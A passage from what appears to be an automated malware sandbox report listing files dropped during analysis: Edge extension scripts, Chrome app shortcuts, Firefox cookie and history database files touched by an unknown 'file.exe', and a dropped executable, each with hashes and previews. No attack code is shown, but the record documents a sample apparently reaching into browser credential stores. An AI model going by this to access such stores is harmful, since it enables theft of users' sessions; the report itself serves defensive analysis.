a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Local\Temp\scoped_dir8148_400188775\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir8148_400188775\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8148_400188775\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8148_400188775\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_400188775\e1f1331b-4993-4991-b8c2-809c8ae41061.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 12 06:30:18 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.971011831677163
Encrypted:	false
SSDEEP:	48:8GdFTNxtHLidAKZdA19ehwiZUklqehTy+3:8Yz3gy
MD5:	DE142374AA1AB37783E0E6019536463C
SHA1:	73EF36D6E8F9BFD4BDE0DF3580B5A6527A2CEED0
SHA-256:	482936EB46E6541FFA6D02DB7F6765AAF69AAD6EF9B8546D83C08DABC532E00F
SHA-512:	3A505314B84FBEE4C4C540DDB50DBB65D70313AC082DFB506473D48CF5BD019F36E833DE1148F16998DEE8DDA2AE59DBF4BE40F894B312310508F57F76BCD63C
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....2..4..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IlY.;....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VlY.;....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VlY.;....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VlY.;..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VlY.;...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........b.}.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 12 06:30:18 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9872753289281473
Encrypted:	false
SSDEEP:	48:8rdFTNxtHLidAKZdA1weh/iZUkAQkqehQy+2:8nz99Q5y
MD5:	FBD4EF0619DC806CFC28F0B30CF61557
SHA1:	1647BF4F0A29466492A6007288E35AA8867D037C
SHA-256:	C3497FCD06BC8E605347BE452F21203A846D6D69616D38607F86E05D926081CF
SHA-512:	0AC8216F52577E92E3301B751E9DCE8038B8AF78A488C9616E7A6B188C5BB9657F0BED3680AF8B917C0FB9583B2D18393795C5D7134D107CF3F44B414350B4C6
Malicious:	false
Preview:	L..................F.@.. ...$+.,....,.%..4..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IlY.;....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VlY.;....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VlY.;....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VlY.;..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VlY.;...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........b.}.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.000654406655153
Encrypted:	false
SSDEEP:	48:8xCdFTNxsHLidAKZdA14tseh7sFiZUkmgqeh7suy+BX:8xczOnsy
MD5:	F111DFBEC5BB7EF6E144A348411F2A1A
SHA1:	21CB0214AC0E9360D2F1604AF59393F8154993F2
SHA-256:	B4175BF73A394C4CE0684FCC10216FBEAA7B634301F98125EFE9CF7191F7EF55
SHA-512:	592A439E392610232653727DF9DAA40ECEE9EFFD9A8F5A13761AA71E984DC1CB56BD3C1ACF5CB0EF6B0A015F4495015B408A946B023CC3098B854C5C52655AFC
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IlY.;....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VlY.;....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VlY.;....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VlY.;..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........b.}.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 12 06:30:18 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.987188486266894
Encrypted:	false
SSDEEP:	48:80dFTNxtHLidAKZdA1vehDiZUkwqehUy+R:8qz+2y
MD5:	F007F3203C7AAD14EF7E19449FE52631
SHA1:	2CB65E201C530B87F8488061939C1ACED53B7087
SHA-256:	8F9141470860350D2DF4713F0AA0D8AEDEC006BDAAAFCCB604358079A0C4B69D
SHA-512:	E6E85BD6C4348B9D94CA61573703F51B9A61AA4E41E6FAC915661B465E2D6E0B3426D09B33E1A75AF64053C7EEFBA1229047EE850E55E9AAB9402930EA0231B9
Malicious:	false
Preview:	L..................F.@.. ...$+.,......#..4..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IlY.;....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VlY.;....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VlY.;....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VlY.;..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VlY.;...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........b.}.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 12 06:30:18 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.973367133941188
Encrypted:	false
SSDEEP:	48:8PdFTNxtHLidAKZdA1hehBiZUk1W1qehqy+C:8DzO9Ky
MD5:	019FAA519C687E5953909D5BA9C69269
SHA1:	730183F21D5793D40FF16B4C7C546E4E0F491793
SHA-256:	F140686C1CBF6F573EF4B40B5D1951AC16BF84AFA28B369C30886A7A236BCC7F
SHA-512:	8616FCF69E6EFE7CD936890CAF065C5E6A15F84AA43A510E23D3D727C86F3A3545E22B8746B353E2A0F954BB7FA13082A65F1E9B54DA8C62AA6EE4661FAA6F77
Malicious:	false
Preview:	L..................F.@.. ...$+.,....4.,..4..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IlY.;....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VlY.;....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VlY.;....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VlY.;..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VlY.;...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........b.}.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 12 06:30:18 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9863811485013945
Encrypted:	false
SSDEEP:	48:84dFTNxtHLidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbsy+yT+:82zwT/TbxWOvTbsy7T
MD5:	29B89E557EE500BF8E54401754EC020A
SHA1:	5743FFF93973156E1D4B04E917149435BA2CE6F4
SHA-256:	40CF66BB98A807FC32B6139E756EB488BD1927BD1E8B0F37D8109D97D871541D
SHA-512:	5E266395992F7CEAD62689B999123921D6ECF6D9257E7B94CDF8EACCDDE78A3F2185F297D611F454E1637CDEB49A77C99633AE115F3D8DF5ABFAB37D6D048479
Malicious:	false
Preview:	L..................F.@.. ...$+.,.........4..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IlY.;....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VlY.;....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VlY.;....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VlY.;..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VlY.;...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........b.}.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsBAAFIJKKEH.exe

Download File

